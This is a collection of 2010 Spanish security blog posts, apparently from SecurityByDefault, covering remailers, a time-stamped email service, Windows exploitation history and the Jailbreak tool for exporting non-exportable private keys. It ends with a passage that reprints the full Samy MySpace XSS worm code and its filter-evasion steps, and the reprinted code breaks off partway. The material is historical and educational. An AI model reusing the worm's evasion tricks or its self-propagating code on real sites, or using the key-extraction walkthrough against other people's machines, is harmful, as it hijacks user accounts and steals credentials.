30 septiembre 2010

Intypedia de CriptoRED, la enciclopedia visual de la Seguridad

Aunque en la página del proyecto aparezca hoy 30 de Septiembre como el día de su presentación, esta tuvo que adelantarse al día de ayer debido a su rápida difusión en buscadores.

Intypedia se define como "La enciclopedia visual de la Seguridad de la Información en la Red" y es el nuevo proyecto de la Red Temática CRIPTORED, red que forman miembros tanto institucionales como particulares. Dicho proyecto consiste en un Aula Virtual en la que su principal difusión de contenidos se realizará mediante una serie de vídeos de entre 10 y 15 minutos relacionados con diferentes temáticas dentro de la Seguridad de la Información, donde nos encontraremos fundamentos básicos, seguridad en redes, criptografía, aplicaciones, gestión e incluso temas relacionados con normativa y legislación.


Contenido muy atractivo cuanto menos, aportado por grandísimos profesionales como colaboradores del proyecto. A estas clases si que merece la pena asistir si tu pasión es la seguridad informática, quieres ampliar conocimientos o incluso adentrarte en este mundillo.

Acompañando los vídeos y sus correspondientes guiones y documentación, también tendremos la oportunidad de probar nuestros conocimientos mediante un conjunto de ejercicios que se nos plantean para cada lección, incluyendo además soluciones:

Ejercicios sobre historia de la criptografía
A continuación os dejamos el vídeo presentación del proyecto Intypedia, para que tengáis una idea de esta gran fuente de recursos que acaba de ver la luz. Desde SecurityByDefault queremos expresar nuestra más sincera enhorabuena al equipo de intypedia por este trabajo que seguro que es muy agradecido por la comunidad.



Aprovechamos para recordar de nuevo que sigue abierto el proceso de preinscripción para el 5º Día Internacional de la Seguridad de la Información (DISI), del que ya os hablamos por aquí hace unos meses en este post. La asistencia es gratuita.
Leer más...

29 septiembre 2010

Las cabeceras HTTP del servidor de Reddit

Para un día como hoy, un poco de humor


Desde Reddit.
Más cabeceras graciosas en: Analizando cabeceras HTTP just for fun
Leer más...

28 septiembre 2010

Círculos privados

Si eres un aficionado a la seguridad o manejas información sensible es muy probable que estés o hayas oído hablar de círculos privados de intercambio. En este tipo de círculos donde solo un numero finito de personas pueden participar y circula información que en la mayoría de los casos la disposición de la misma se consideraría ilegal o al menos es de carácter privado. Tanto ideas políticas, religiosas, terrorismo, espionaje, organizaciones criminales, etc.

Antiguamente el uso de una simple lista de correo y cifrado del mismo era más que suficiente, o al menos eran las únicas soluciones que se empleaban. También existían otros medios más directos como IRC en servidores privados funcionando con SSL y algún tipo de cifrado en la capa de cliente del tipo OTR (Off-the-Record, plugin para irssi disponible en http://irssi-otr.tuxfamily.org/).

Por seguridad y para intentar salvaguardar la identidad de los usuarios de estas listas y las evidencias que estas mismas dejaban en las cabeceras de correo, se comenzó a usar una técnica de routing de correo conocida como remailing.

Definición extraída de la Wikipedia :
“Un remailer es un servidor que recibe emails en un formato especial, los procesa eliminando las cabeceras, y los dirige hasta el destinatario del mensaje. Los emails normalmente están aplicados con criptografía. Para conseguir un mayor grado de anonimato, se debería usar más de un remailer. Un sólo remailer suele ocultar toda la identidad, pero es más seguro usar varios ya que resultaría más difícil saber de donde viene el mensaje.”

La idea no era usar solo un servidor de remailing, sino encadenar varios para ocultar el origen del mismo añadiendo mas puntos de análisis, por lo que habría que ir servidor por servidor realizando un análisis forense del mismo hasta intentar localizar la fuente de origen. Algo bastante complejo ya que estos servidores de remailers dejan pocas evidencias forenses y sobre todo poco fiables. También sería necesario una orden judicial por cada ISP que se pretenda analizar añadiendo tiempo y esfuerzo a la localización de los mismos. Podemos ver un ejemplo de un envío cualquiera hacia el destinatario contacto@securitybydefaultcom con una latencia de 2 horas y cifrado.

----- Codigo -----
::
Anon-To : contacto@securitybydefault.com
Latent-Time: +2:00
Encrypted: PGP

/eyc7Pz8/P0tUKkhGZz8/ajQ/Pz9mIj8/Xj9+UXo/P3I/Pz8/P0w/P2FaMT95fHs6P2I/JD8iSD93JiMxOTkyOz9bPyYjNjcxNDs/Pz8/Pw0KMTI1Njt7Pz9qPz9cPz8/P2c/ZWk/Vz8/JT8/dj8/P0Z8bT8/P0YmIzUyNjkxOzs/Vj8jJiMxNjY5Oz8/P0I/Pz97K2o/Pz84P2Azaz8/Mz92P0plPj9WPz86DQomIzEyNjY7Pz8/bT9SJiMyMDA0Oz8/P2Y/Pz8/RT9gWz8/Pz8/Pz8/JiMxMjUzO1g/PyYjOTg0Oz8mIzMzMzM0Oz8mIzE0ODk7PyY/JiM1MTY1MzshZTU/PyE/P2w/cT8pPz9cPz89K21AP0UmUEE/P0s/Kj9yPz8/

----- Codigo -----

Durante muchos años he sido usuario de remailers y algunas listas privadas de I+D. En muchas de estas listas se usaban técnicas comunes de espionaje y contraespionaje, donde se intentaba evitar la filtración de información o dejar un rastro de evidencias para no comprometer la seguridad personal de cada usuario. Recuerdo como por el año 2000 solía pernoctar por diferentes servidores de IRC y era aficionado a escanear canales de Onda Corta. Hice algunas amistades y se crearon algunos canales de comunicación como el uso de remailers y cuadernos de claves OTP. El cuaderno lo genero una persona y lo envío por correo ordinario a cada uno, pero siendo necesario una dirección postal para evitar conocer nombres y direcciones físicas de cada usuario. Se crearon ciertas reglas de confianza para poder acceder a la lista y escribir en ella, que en resumidas cuentas fueron :

  • Direcciones de correo variable cada 2 meses o bajo petición de un usuario si la lista podía haber sido comprometida. 
  • La información de las nuevas cuentas solo podía facilitarse bajo un canal seguro. 
  • No podía existir información del usuario, localización, zona horaria, nombres, etc. 
  • No se podía almacenar correo en servidor solo en cliente de email.
  • Todo el correo debía estar cifrado para cada destinatario con su clave pública.
Se usaban técnicas de mixing, el correo se enviaba a 3 remailers que soportaban cifrado de clave pública. Se cifraba por triplicado el correo, primero con la clave pública del primer servidor de remailing, una vez el servidor lo descifraba con su clave privada obtenía las cabeceras de envío para el segundo remailer. El segundo servidor de correo recibía el correo cifrado en su segunda capa con su clave publica, este lo descifraba, obtenía las cabeceras del nuevo servidor de correo a donde enviarlo y este obtenía el correo en el destino. Si se adjuntaban ficheros, todos debían estar alojados en servidores públicos y de forma cifrada con la clave correspondiente del cuaderno. Si no eras una persona activa quedabas fuera en las actualizaciones de claves

La mayoría de información que pasaba por ahí tenia que ver con servicios de inteligencia, grabaciones, documentación, software, ayuda para resolver algunos problemas técnicos, teléfonos, phreaking/wardialing, esquemas, traducciones, curiosidades, etc. Al menos estuve un par de años usando esa lista y vi algunas cosas que me llamaron mucho la atención, algunas daban bastante impresión y otras eran demasiado absurdas.

Tanto grabaciones de lo que parecía espionaje militar/empresarial a documentos que recababan información de lo mas variopinta, desde personajes importantes de varios países que no encontrarías en ‘altavista.com’ , situaciones en conflicto y análisis de las noticias de los periódicos de diferentes países. Fue una época muy interesante y me marcó bastante sobre todo porque algunas veces se podía sentir el miedo si alguien dejaba de escribir o se mandaban nuevas claves porque se pensaba que se había comprometido la lista.

Tal vez por eso fui dejandola poco a poco y centrándome más en otras cosas que fui descubriendo según surgía la necesidad. Hoy en día siguen existiendo técnicas similares de comunicación, se usan redes VPN, túneles por otro tipo de redes cifradas tipo TOR, pero al final el medio es bastante similar y tal vez jamas descubras quién se esconde detrás de ese tipo de redes, si un paramilitar, un entusiasta o quien sabe.

-- Anónimo
Leer más...

Concursos y charlas en la No cON Name 2010

Ya queda un poquito menos para que los próximos días 20 y 21 de octubre se celebre la edición 2010 del congreso No cON Name.

Esta última semana la organización nos ha confirmado que podremos exponer la solución de los concursos que han publicado y hacer entrega de los premios a los ganadores.

Una lástima haber hecho esta propuesta sin participar, porque no me hubiera importado jugar en el reto de la Iluminación de Randa para intentar  llevarme el Pack de iPad, iPhone e iPod, más las 4 noches para 2 personas en un Parador que recibirá el equipo del vencedor.

La buena noticia es que asistiré a todas las charlas. La agenda es muy interesante:
  • Pau Oliva (p0f) hablará sobre cómo hacer un volcado de la NAND de un HTC con objetivos forenses. Pau ha moderado el popular foro XDA-Developers y desarrollado múltiples herramientas para liberar teléfonos. Todo aquel que ha investigado los dispositivos de HTC seguro que le conoce.
  • Más forenses y e-crime de la mano de Pedro Sanchez, que contará las algunos ejemplos de fraude electrónico y como se han solucionado. Pedro y sus "batallitas en la banca electrónica" han recorrido ya medio mundo. Nada como casos reales bien contados y de forma muy amena para enganchar a los oyentes.
  • Sergi Alvarez va a tratar el parcheo de binarios en disco y memoria, con dos ejemplos en los que esta técnica se ha utilizado antes de que el fabricante publicase el parche. Sergi es uno de los autores de radare2, un avanzado editor hexadecimal (por llamarlo de alguna manera).
  • Joan Ayerbe Font hablará sobre la importancia de la estructura organizativa dentro de la gestión de la seguridad. Una charla muy interesante enfocada la estrategia y gestión de alto nivel.
  • Jose Selvi describirá como utilizar la técnica IP Fragmentation Overlap para evitar que determinados ataques sean detectados por IDS y sus contramedidas. Selvi tiene amplia experiencia en hacking, es uno de los autores del blog pentester.es además de mentores en el SANS.
  • Desde Diariodeunhacker.com Yago Fernandez hará un taller sobre la implementación de un sistema de control de acceso NAC basado en RADIUS. 
  • Explicación de los concursos por parte de Francisco Alonso y servidor.
  • Para finalizar habrá una mesa redonda moderada por Xavier Vidal sobre Políticas llevadas a cabo en la Generalitat de Catalunya,
Leer más...

27 septiembre 2010

Que levante la mano quien nunca se haya visto en la típica situación de 'Te he enviado un mail ¿no te ha llegado ...?' Es una situación frustrante en ambos lados, si te lo están diciendo a ti porque directamente piensas 'excusa excusa' y si lo estás diciendo tu porque piensas 'suena a excusa'

Vamos a tratar de poner remedio a esto con un nuevo servicio de SbD en fase EXPERIMENTAL. El servicio es sumamente fácil de usar y permite tener una certeza comprobable (incluso con validez legal) de que un correo ha sido enviado. Este servicio permite demostrar:

  1. Que un correo ha sido enviado en una determinada fecha
  2. Los destinatarios a los que iba dirigido ese correo
  3. El contenido del mensaje (su body)
  4. Los adjuntos que fueron enviados
Para conseguir eso vamos a usar tecnología PKI, en concreto vamos a hacer uso de una TSA (Time Stamping Authority) o lo que es lo mismo una autoridad de sellado de tiempo. Para el que no lo sepa, una TSA lo que hace es emitir un sello firmado digitalmente que prueba la existencia de un determinado dato en un determinado tiempo. Si además esta TSA está reconocida, (En España por la ley de firma digital) quiere decir que un sello de esa TSA tiene validez legal probatoria.

Entonces ¿Como funciona nuestro servicio? Muy fácil. Hemos creado una cuenta de correo mailsellado@securitybydefault.com y sobre ella hemos creado un servicio que periódicamente hace check sobre esa cuenta, extrae los correos que le llegan, pide un sello digital a ese correo y envía al emisor del correo una copia con el sello y el mail original.

De forma esquemática:
  • Creas un correo electrónico desde tu cliente de correo habitual
  • Añades como CC o CCO a mailsellado@securitybydefault.com
  • Envías tu correo
  • El correo llega a mailsellado@securitybydefault.com
  • Se extrae el correo en formato 'raw'
  • Se computa un hash SHA-1 de ese correo
  • Enviamos una petición de sello a una TSA sobre ese hash
  • Una vez obtenido el sello te enviamos un mail como acuse de recibo con tu mail original en formato raw y el sello de tiempo
¿Fácil verdad?

Unas capturas (click para agrandar) :


Correo enviado con CC a mailsellado@securitybydefault.com


Y Aquí la respuesta. Como se puede ver en el resaltado el mail contiene información sobre el sello (El TimeStamp en formato GMT) y la CA que lo ha emitido. Como adjuntos nos ha llegado nuestro mail original en formato 'raw' y el sello de tiempo emitido por la TSA.

Para comprobar el sello de forma manual hazte con una copia de OpenSSL reciente (versión 1.0) y realiza lo siguiente:

1.- Descarga los dos ficheros adjuntos del email

2.- Descarga del certificado raíz de la CA de accv (Organización que amablemente ofrece gratuitamente su servicio de sellado)

# wget http://www.accv.es/fileadmin/Archivos/certificados/rootca.crt

3.- Sobre los dos ficheros descargados + el certificado de la CA raíz ejecuta:

# openssl ts -verify -data 9550876624799.79.txt -in 9550876624799.79.tsr -CAfile rootca.crt

Y deberías obtener algo como:

Verification: OK


F.A.Q.

Y esto ¿Cuanto me va a costar?

-Nada, es totalmente gratuito

Esto significa que puedo abusar, hacer pruebas, enviar mails con adjuntos de varios cientos de megas ...

-Ciertamente no hemos implementado ninguna restricción al servicio y sería un poco triste tener que hacerlo porque alguien está abusando del sistema de forma irresponsable. Usa tu sentido común

¿Que garantías ofrecéis en este servicio?

-Ninguna, el servicio funciona 'tal cual', no garantizamos disponibilidad ni que siempre vaya a funcionar, es un servicio EXPERIMENTAL que depende de servicios de terceros que, pueden funcionar o no (incluso si el uso llega a ser masivo dejar de ofrecer gratuitamente el servicio)

¿Y no supone un riesgo a mi privacidad enviar copias de mis mails a una cuenta que no controlo?

-Buena pregunta, permíteme recordarte una cosa: Cuando envías un mail, este no queda encapsulado mágicamente y viaja de tu PC al PC del destinatario, tu mail va pasando por diversos servicios gestionados por terceros hasta que es entregado. Nuestro servicio ha sido diseñado para NO guardar copias de los mails recibidos, según llegan son procesados y BORRADOS. No obstante la única garantía que ofrecemos es nuestra palabra, te puede parecer suficiente o no, eso queda a tu criterio.

Vuestra idea me ha parecido magnífica y como empresa me gustaría ofrecer este servicio internamente o a mis clientes

-Este servicio tiene multitud de aplicaciones profesionales, por ejemplo servicios de soporte técnico que necesitan acreditar el envío de mails, entidades bancarias, etc etc. Como puedes ver la tecnología 'ya está creada' y lo que haría falta para dar este servicio en modo profesional es inversión para poder ofrecer SLAs y poder usar un servicio de sellado profesional (que tiene un coste pero ofrece SLAs). contacto@securitybydefault.com para hablar de ello.
Leer más...

26 septiembre 2010

Enlaces de la SECmana - 38


Leer más...

25 septiembre 2010

Explotación de Windows, pasado, presente y futuro - 1/3

Windows, uno de los sistemas operativos más extendidos en ordenadores personales del momento. Empezamos una serie de artículos donde iremos viendo la evolución tanto de los métodos para explotar fallos encontrados en el sistema, como de las protecciones para prevenir estos fallos y evitar sus consecuencias. Esta saga de artículos está basada en otra recopilación, pero modificada y adaptada a otro estilo. ¿Preparados para recordar tiempos pasados? ¡Seguro que a más de uno le saldrá la vena romántica!

Aviso que puede que me deje cosas, algunas importantes. Por ello, lo digo de antemano y pido disculpas desde ya. Ahora, ¡a disfrutarlo!

Nos centraremos en el sistema operativo de Microsoft, pero para ello tendremos que tratar temas que no están exclusivamente relacionados con él. Para comenzar vamos a ver una breve historia de los buffer overflow, y lo que han significado desde sus inicios.

Hace algún tiempo, en 1988, el gusano Morris empezó a extenderse por Internet, y tuvo mucha cobertura en los medios de comunicación de la época. Fue el primer gusano conocido en explotar vulnerabilidades de desbordamiento de buffer para propagarse, concretamente explotaba fallos conocidos en Unix sendmail, Finger y rsh/rexec, además de contraseñas débiles.

Poco después, en 1996, Elias Levy (Aleph One) escribió Smashing The Stack For Fun And Profit para Phrack issue #49, documento mítico y de referencia para muchos.

Por otro lado, tres años más tarde Matt Conover escribía el primer artículo detallado acerca de heap overflow. Al año siguiente, Solar Designer publicaría el primer exploit genérico para Windows basado en un heap overflow (Netscape exploit).

En esta época, los sistemas operativos contaban con pocas protecciones de memoria y una pobre validación en la entrada de datos. El uso de una función vulnerable era suficiente para abusar de la memoria (normalmente en la pila) y tomar el control del flujo del programa, con lo que un atacante podría ejecutar su propio código.

Era algo que traía de cabeza a los desarrolladores de sistemas operativos. En 1996, Casper Dik escribió un parche que modificaba en tiempo de ejecución la imagen del kernel para que la pila no tuviese permisos de ejecución en Solaris 2.4 a 2.5.1. Poco después Solar Designer escribió algo parecido para Linux.

Cerca del año 2000, Solar Designer volvía con algo nuevo, ataques return-to-libc. Se trataba de usar funciones cargadas en memoria para saltar la protección que hacía la pila no ejecutable, así podía usar funciones como system() (para ejecutar un comando), pero por otro lado tenía el inconveniente de que no podría usar shellcodes avanzados.

Nos quedamos en el año 2000 con:

¡En el próximo artículo entraremos de lleno en el año 2000!

Parte 1


Sobre las referencias, pondré todas en la última entrega de la serie, así como la recopilación original.
Leer más...

24 septiembre 2010

Exportando claves privadas marcadas como no-exportables con Jailbreak

Que no os confunda el nombre de la herramienta de la que os vamos a hablar en este post. Aquí no encontrarás nada de iPhone, iPad o iPod, ni como cargar aplicaciones no oficiales ni demás. Os vamos a hablar de certificados digitales, y de como poder exportar la clave privada de los certificados cuando esta ha sido marcada como no exportable en el momento de su generación.

Si nos remontamos a nuestro primer post aquí en Security By Default, FNMT: Insecure by default, Yago nos presentó una herramienta programada por él mismo, CertDump, encargada de buscar en nuestro contenedor criptográfico certificados cuya clave privada fuese exportable y exportarla junto con su certificado en un fichero PKCS#12 sin contraseña (pudiendo así instalar el certificado en cualquier otro sistema).

Pues bien, la herramienta Jailbreak de iSEC Partners es capaz de realizar justamente la tarea complementaria: buscar en nuestro contenedor criptográfico certificados cuya clave privada fuese marcada como NO exportable y exportar seguidamente el certificado incluyendo su clave privada en un fichero PFX.

La técnica que utiliza consiste en el parcheo del Crypto Service Provider para deshabilitar la comprobación sobre los certificados sobre si son o no exportables. La clave privada se encuentra en el propio sistema de ficheros, y se podrá obtener siempre y cuando este no se encuentra cifrado o dicha clave se haya almacenado en cualquier solución "hardware" como por ejemplo una smartcard.

Dentro del fichero comprimido que descargamos nos encontraremos una .dll llamada jb_dll.dll, la cual se inyectará en el proceso del CSP. En el momento de la comprobación sobre si las claves privadas de nuestros certificados son exportables o no, la librería aplicará el parche, y durante ese proceso los certificados con claves privadas no exportables podrán exportarse satisfactoriamente.

Ahora bien, esta técnica no es para nada actual (actualmente la versión más actual de Jailbreak es la 3.4, pero incluso podemos comprobar como en el servidor de iSEC Partners tenemos la 2.0, del 2007). Es más, incluso fué aprovechada por varios creadores de malware para su difusión mediante bichos que eran capaces de exportar los certificados incluyendo sus claves privadas y enviarlos a servidores externos. La DLL por tanto pasó a considerarse como peligrosa por las firmas de Antivirus, de ahí que os pueda saltar el aviso de que se trate de una backdoor. En este enlace tenéis el informe de VirusTotal sobre jb_dll.dll.

Antes de comenzar, indicar unos pre-requisitos básicos que tienen que cumplirse para que esta herramienta realice su trabajo correctamente:
  • jailbreak.exe, jbstore.exe y jbcsp.exe funcionan bajo:
    • Windows XP SP2 x86
    • Window 2003 SP1 x86
    • Windows Vista RTM & SP1 x86
    • Windows 7 x86
  • En las versiones x64 de Windows Vista y Windows 7 únicamente funcionará la aplicación jbstore.exe
  • Como comentamos anteriormente, para poder exportar la clave privada, esta debe encontrarse en el sistema de ficheros de la máquina. Dicho sistema de ficheros no debe encontrarse cifrado y necesitamos contar con permisos de acceso sobre él.
Comprobación de que el certificado tiene marcada la clave privada como no exportable

Mediante la consola de gestión de Microsoft (Microsoft Management Console, mmc.exe) añadimos los complementos referentes a los certificados:





Hacemos clic dos veces en el certificado del cual queremos exportar su clave privada, comprobando que se dispone de ella en el sistema de ficheros:


Seguidamente, con el certificado seleccionado, hacemos clic con el botón derecho -> Todas las tareas -> Exportar...


y comprobamos como la casilla de "Exportar la clave privada" se encuentra deshabilitada en el siguiente paso del Asistente:


Entra en juego el Jailbreak.

Utilizando Jailbreak

Dentro del .zip descargado nos encontraremos los siguientes ficheros, que describiremos a continuación:


  1. README.txt: Información sobre la utilización de cada uno de los ejecutables de los que se compone la herramienta.

  2. jb_dll.dll: DLL que realizará el trabajo del parcheo del CSP para marcar como exportables las claves privadas de los certificados.

  3. jailbreak.exe y jailbreak.msc: Programa principal que requiere interacción por parte del usuario que lo ejecute.
  4. Tras la ejecución de jailbreak.exe y el correspondiente parcheo por parte de la DLL, se invocará una instancia de la consola de gestión de Microsoft (Microsoft Management Console, mmc.exe) con los complementos referentes a los certificados del sistema ya cargados (vista definida mediante el fichero jailbreak.msc incluido en el ZIP de la herramienta). Una vez ahí, podremos acceder a los certificados y realizar la tarea de exportación, en la que se comprueba como la casilla de "Exportar la clave privada" se encuentra esta vez habilitada.
    La marcamos, introducimos la contraseña que queramos y el nombre del fichero para exportar, y listo.
    Tendremos un fichero .pfx que contendrá el certificado y su clave privada, listo para distribuir y utilizar...como queramos.
  5. jbstore.exe: JBStore es una aplicación que se ejecuta por línea de comandos y que exporta todos los certificados del almacen "Personal" sin requerir la interactuación con la Microsoft Management Console como para el caso de la aplicación Jailbreak.
  6. Es posible seleccionar tanto el almacen “Personal” del usuario actual o del equipo local indicándolo como parámetro (/user o /computer respectivamente):
  7. jbcsp.exe: jbcsp es una aplicación que se ejecuta por línea de comandos y que exporta las claves que se encuentran dentro del CSP (Cryptographic Service Provider) pero que no están asociadas con un certificado.
Como veis, una tarea sencilla, limpia, ideal para procesos de backup o migraciones... Eso sí, esta aplicación debería formar parte de nuestra colección de "Herramientas que necesito subir a TU ordenador".

Leer más...

23 septiembre 2010

Hackeos Memorables: Samy is My Hero

(Esta historia es real, no es que haya modificado lo ocurrido ayer en twitter y cambiado fechas y nombres de redes sociales. Cinco años después seguimos igual)

Octubre de 2005, Samy Kamkar, un joven hacker de 19 años quiere modificar su perfil en la nueva red social MySpace. Le gustaría poder añadir algo que el resto de usuarios no pudiesen tener, pero casualmente descubre una vulnerabilidad que le permite ejecutar código javascript, o por lo menos, así es como el mismo describía el hallazgo en una entrevista.

La realidad seguramente sea otra, Samy había dedicado horas a estudiar el funcionamiento y los filtros que aplicaba la red social a todo el contenido que los usuarios podían añadir hasta que por fin encontró una forma de insertarlo saltándose todas las protecciones.

La vulnerabilidad era un XSS persistente que explotaría con la creación del primer gusano en un servicio web. Todos los usuarios que visitasen su perfil modificarian el suyo añadiendo la frase "but most of all, samy is my hero." y añadiendo a Samy como amigo. En 24 horas Samy contaba con un 1.000.000 de solicitudes de amistad, convirtiéndose en el bicho con la propagación más rápida hasta la fecha.

El suceso se convirtió rápidamente en noticia de todos los medios, haciendo referencia en sitios como Slashdot, The Register o The Guardian. Incluso se llegaron a vender camisetas como la de la imagen superior.


Pese a que parece sencillo el proceso que Kamkar tuvo que desarrollar es digno de ser uno de los hackeos memorables más divertidos y didácticos. Los principales pasos y barreras que esquivó para lograr evadir todas las protecciones fueron estos once:
  1. MySpace filtraba todas las etiquetas html menos <a>, <img> y <div> por lo que no se podía añadir contenido usando <script>s, <body> o los atributos onClicks, onAnythings, href con javascript, etcétera, aunque si permitia insertar CSS, que en algunos navegadores ejecuta jscript.


    Ejemplo: <div style="background:url('javascript:alert(1)')">

  2. El siguiente problema era insertar comillas dobles en el código javascript, ya que se habían usado en la etiqueta div, tanto las simples como las dobles y no se podían volver a utilizar. Para solucionar el problema usó una expresión para almacenar el código y posteriormente ejecutarla.


    Ejemplo: <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

  3. ¡¡Ya podía meter comillas simples!! otro pequeño filtro eliminaba la palabra "javascript", por lo que hubo que aprovechar que algunos navegadores la seguían procesando aunque estuviera compuesta con un retorno de linea en medio del tipo: java\nscript.


    Ejemplo: <div id="mycode" expr="alert('hah!')" style="background:url('java
    script:eval(document.all.mycode.expr)')">

  4. Por desgracia también era necesario usar las comillas dobles y con lo visto anteriormente no era suficiente. Pero esta vez resultaría más sencillo utilizando su equivalente ASCII.


    Ejemplo: <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java
    script:eval(document.all.mycode.expr)')">

  5. Para obtener el código de la página era necesario acceder a document.body.innerHTML, pero la cadena "innerHTML" también estaba filtrada, por lo que había que componerla con un eval() cada vez que se necesitase.


    Ejemplo: alert(eval('document.body.inne' + 'rHTML'));

  6. Exactamente igual que en el punto anterior ocurría con la cadena onreadystatechange, necesaria para hacer peticiones GET y POST mediante XML-HTTP. Otro eval() solucionó el obstáculo.


    Ejemplo: eval('xmlhttp.onread' + 'ystatechange = callback');

  7. En este punto se hacía el primer GET para obtener el código fuente de la página y la lista de amigos del usuario, que eran almacenados para la propagación. La búsqueda se ejecutaba contra la cadena "friendID".


    Ejemplo: var index = html.indexOf('frien' + 'dID');

  8. Para añadir nuevos héroes hacía falta hacer un POST sobre una url que estaba en distinto subdominio, ya que todo el proceso se estaba ejecutando en profile.myspace.com y no sobre www.myspace.com donde se encontraba la función addFriends. En esta situación Samy recargaba la página que corresponde si el dominio no concuerda y posteriormente lanzaba el POST con la correcta.


    Ejemplo: if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;

  9. Antes de añadir un usuario era necesario encontrar un hash variable que hacía las funciones de token en una confirmación del tipo "¿Estás seguro que quieres añadir a Cris como amiga?", por lo que una nueva búsqueda en el código fuente y se vuelve a lanzar el POST.
  10. El último paso era reproducir el código malicioso en los perfiles de los amigos, para lo que se hacen dos peticiones GET/POST nuevas
  11. Por problemas de tamaño se ofuscó el código, se redujeron nombres de variables y se reutilizaron al máximo las funciones. Op-ti-mi-za-ci-ón
Para los más curiosos el código original que se puso en el perfil es el siguiente:

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

En las siguientes líneas se muestra de forma más limpia y clara:

<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="

var B = String.fromCharCode(34);
var A = String.fromCharCode(39);

function g()
{
  var C;
  try
  {
    var D = document.body.createTextRange();
    C = D.htmlText
  }
  catch (e)
  {
  }
  if (C)
  {
    return C
  }
  else
  {
    return eval('document.body.inne' + 'rHTML')
  }
}

function getData(AU)
{
  M = getFromURL(AU, 'friendID');
  L = getFromURL(AU, 'Mytoken')
}

function getQueryParams()
{
  var E = document.location.search;
  var F = E.substring(1, E.length).split('&');
  var AS = new Array();
  for (var O = 0; O < F.length; O++)
  {
    var I = F[O].split('=');
    AS[I[0]] = I[1]
  }
  return AS
}
var J;
var AS = getQueryParams();
var L = AS['Mytoken'];
var M = AS['friendID'];
if (location.hostname == 'profile.myspace.com')
{
  document.location = 'http://www.myspace.com' + location.pathname + location.search
}
else
{
  if (!M)
  {
    getData(g())
  }
  main()
}

function getClientFID()
{
  return findIn(g(), 'up_launchIC( ' + A, A)
}

function nothing()
{
}

function paramsToString(AV)
{
  var N = new String();
  var O = 0;
  for (var P in AV)
  {
    if (O > 0)
    {
      N += '&'
    }
    var Q = escape(AV[P]);
    while (Q.indexOf('+') != -1)
    {
      Q = Q.replace('+', '%2B')
    }
